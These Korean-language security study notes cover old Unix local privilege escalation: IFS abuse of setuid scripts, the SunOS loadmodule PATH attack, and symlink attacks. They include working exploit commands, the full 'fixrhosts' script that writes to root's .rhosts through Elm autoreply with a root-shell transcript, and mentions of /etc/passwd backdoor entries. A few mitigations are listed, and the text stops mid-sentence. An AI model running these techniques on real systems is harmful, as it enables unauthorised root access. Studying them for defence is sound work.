2 IFS
파일간의 구분을 짓는 캐릭터로 정의 한다.
다음과 같은 조건하에서만 효과를 볼수가 있다.
- setuid 가 붙어 있을 것.
- 쉘 스크립트로 작성된 실행파일 일것.
- 실행파일 내에서 다른 프로그램을 실행하는 경우, 절대경로명을 사용할 것
공격의 예제
파일 명 : up 소유자 : root 퍼미션 : rwsr-xr-x
…………………………………………
echo "Screen clear!"
/usr/bin/clear
echo "Screen cleared!"
공격 방법
$IFS = /
IFS 의 환경 변수를 이용해서 /usr/bin/clear의 /를 공백으로 처리한다.디렉토리의 의미가 아니라
usr bin clear로 의미가 바뀐다.
다음에 usr라는 쉘 스크립트를 작성한다.그럼 usr bin clear는 usr라는 프로그램이 실행된다.
$export IFS
usr 이라는 이름의 쉘 스크립트를 실행하기 위해서는 usr 가 위치하는 디렉토리, 즉
$PATH=.:PATH
현재 디렉토리가 PATH 환경변수에 설정되어 있어야 한다.
$./up
하면 우선 “Screen clear”가 출력이 되고 나서 usr의 스크립트가 실행된다.
IFS 버그로 인한 exploit을 막는 방법
- 가급적 setuid 가 붙은 쉘 스크립트를 작성하지 않는다.
- 하지만 꼭 필요한 경우에는, 되도록 상대경로를 사용 한다.
- 일반 사용자가 환경변수를 설정할 수 없도록 한다.
IFS는 /bin/sh 에서만 쉘을 띠울수 있구 스크립트 생성이 가능하다.스크립트 작성은 C와 perl도 가능하다.스크립트 작성이 가능하게 되는 것은 system() , popen() ,펄의 경우 open() , system()의 함수를 사용하기 때문이다.
함수의 사용을 예를 들면
fp=popen(“/bin/ls”,” r”); /* /bin/ls를 실행 해서 r에 넣어라 */
system(“/bin/ls”); /*여기서 –c 나 –s 옵션을 선택 */
/bin/sh의 실제의 진행은 /bin/ls이다.
이점에서 IFS버그가 탄생한 것이다.
그래서 공격하면 /usr/bin/clear
IFS=/;$export IFS
PATH=.:$PATH 현재의 url을 찾도록 현재의 디렉토리를 설정한다.
지금은 이 IFS 가 잘 안되는 이유는 /bin/sh사용하는 것이지만 실제로는 /bin/bash나 /bin/csh를 사용하기 때문이다.
3 Variable Attack(loadmodule)
shell의 variable을 이용한 공격
OS : Sunos 4.1.3
프로그램 : /usr/lib/loadmodule
취약점 :loadmodule 은 시스템의 구성을 찾는데 사용한다.
효과 :로컬 유저에서 루트를 획득 할수 있다.
설명 :setuid는 매우 위험하다.Sun 패치를 설치해서 IFS를 다시 세팅을 하면 안전하다.
Loadmodule이란 프로그램 수행 중 ld라는 파일을 참조 수행하는데,유저의 PATH 변수를
유저의 PATH 변수를 참조 함에따라 유저가 정의한 ld를 수행 한다.
수정방법:벤더에 접속해서 수정한다.
nosunview option이 없을때 openwin session을 시작 할수 없다.
/etc/openwin/modules을 stuff안에 설치를 실패를 했을때 실제적으로
스크립트를 load하고 실행한다.
Loadmodule의 퍼미션을 400으로 한다.
공격 예
%set path=(. $path)
%cat > ld
/bin/sh
% /usr/openwin/bin/loadmodule
#
C쉘의 경우 set =(. $path)
PATH=/bin /usr/bin
즉 공백을 해야 한다.
4 Variable Attack-symbolic link
url : http://growth.hanyang.ac.kr/LDP/install-guide/node131.html
심볼릭 링크는 윈도우의 아이콘과 같은 역활을 하고 하드 링크는 원본을 그대로 복사하는 개념이다.
심볼릭 링크는 하드 링크와는 다르게 다른 이름의 파일 생성을 허락한다.
예)ln –s foo bar
# ls -i foo bar
22195 bar 22192 foo
#
bar의 심볼릭 링크 foo가 생성 된것을 확인 할수 있다.
# ls -l foo bar
lrwxrwxrwx 1 root root 3 Aug 5 16:51 bar -> foo
-rw-r--r-- 1 root root 12 Aug 5 16:50 foo
#
위의 심볼릭 링크foo가 생겼다.단지 퍼미션을 주어야 한다.
(autoreply)
OS : Elm 메일 시스템이 설치된 모든 시스템
프로그램 : /usr/local/bin/autoreply)
취약점 : 666 모드를 이용해서 루트 파일을 만들 수 있다.
모든 버전에 이 취약점이 있다.세미 유저가 이 파일을 덮어 쓸 수 있다.
효과 : 유저가 바뀐 시스템 파일에서 루트가 된다.
수정 방법:.rhost 파일을 이용한 것이므로 퍼미션을 주어선 안된다.
Autoreply를 disable해라.
Elm 머신으로부터 패치를 받아라.
패치 스크립트, 'fixrhosts':
#!/bin/sh
#
# fixrhosts rhosts-file user machine
#
if [ $# -ne 3 ]; then
echo "Usage: `basename $0` rhosts-file user machine"
exit 1
fi
RHOSTS="$1"
USERNAME="$2"
MACHINE="$3"
cd $HOME
echo x > "a
$MACHINE $USERNAME
b"
umask 022
autoreply "a
$MACHINE $USERNAME
b"
cat > /tmp/.rhosts.sh.$$ << 'EOF'
ln -s $1 `echo $$ | awk '{printf "/tmp/arep.%06d", $1}'`
exec autoreply off
exit 0
EOF
/bin/sh /tmp/.rhosts.sh.$$ $RHOSTS
rm -f /tmp/.rhosts.sh.$$ "a
$MACHINE $USERNAME
b"
exit 0
루트가 되는 과정 설명
(Lines marked with > represent user input)
> % id
uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
> % ./fixrhosts ~root/.rhosts 8lgm localhost
You've been added to the autoreply system.
You've been removed from the autoreply table.
> % rsh localhost -l root csh -i
Warning: no access to tty.
Thus no job control in this shell.
#
sysmbolic link
UNIX file system에서 관리하기 위해 I-node를 사용한다.
일반적으로 ln b.txt c.txt 를 링크를 걸었다고 하자.
그럼 c.txt가 I-node에서 b.txt를 공유하게 된다.그러니까 I-node값이 100이라면
b.txt 나 c.txt 둘다 100이란 값을 가지는 것이다.
그래서 rm c.txt하면 b.txt 의 내용은 지워지지 않는다.
Sysmbolic link의 경우엔 alias(이름만 매핑)하는 것이다.
ln –s b.txt d.txt이렇게 링크를 걸자
여기서 rm –b.txt를 하자 . 그럼 cat d.txt를 하면 아마 file not found가 나올것이다.
즉 hard link는 I-node를 공유하는 것이고 sysmbolic link는 이름만 링크하는 것이다.
단지 sysmbloic link 에 관한 프로그램의 차이점은 템프러리 파일을 만드는 방법이 다 다르기 때문이다.
Setuid 프로그램을 이용한 sysmbolic link의 공격 스타일은 크게 2가지로 나눈다.
1 DoS : 스스로 공격할수 있는 능력이 없는 경우이다.중요한 파일의 정보(시스템 파일이나 루트 파일)를 다 밀어 버릴수는 있어나 루트의 권한을 획득할 수는 없다.
2 Root : 첫째 = .rlogin (./rhost “+ + “)를 이용한다.
둘째 = etc/passwd파일을 이용한다. (/etc/passwd .”hacker:0:0~~)
Local Attack의 종류를 크게 3가지로 본다면
1 read (r) = 이전에 예를 든 sendmail –c와 같은 경우이다.
2 write (w) = sysmbolic link와 같은 경우이다.
3 exe (x) = loadmodule과 같은 경우이다.
1번과 2번은 직접적인 공격이 불가능하다.그래서 공격의 우월도를 보면
read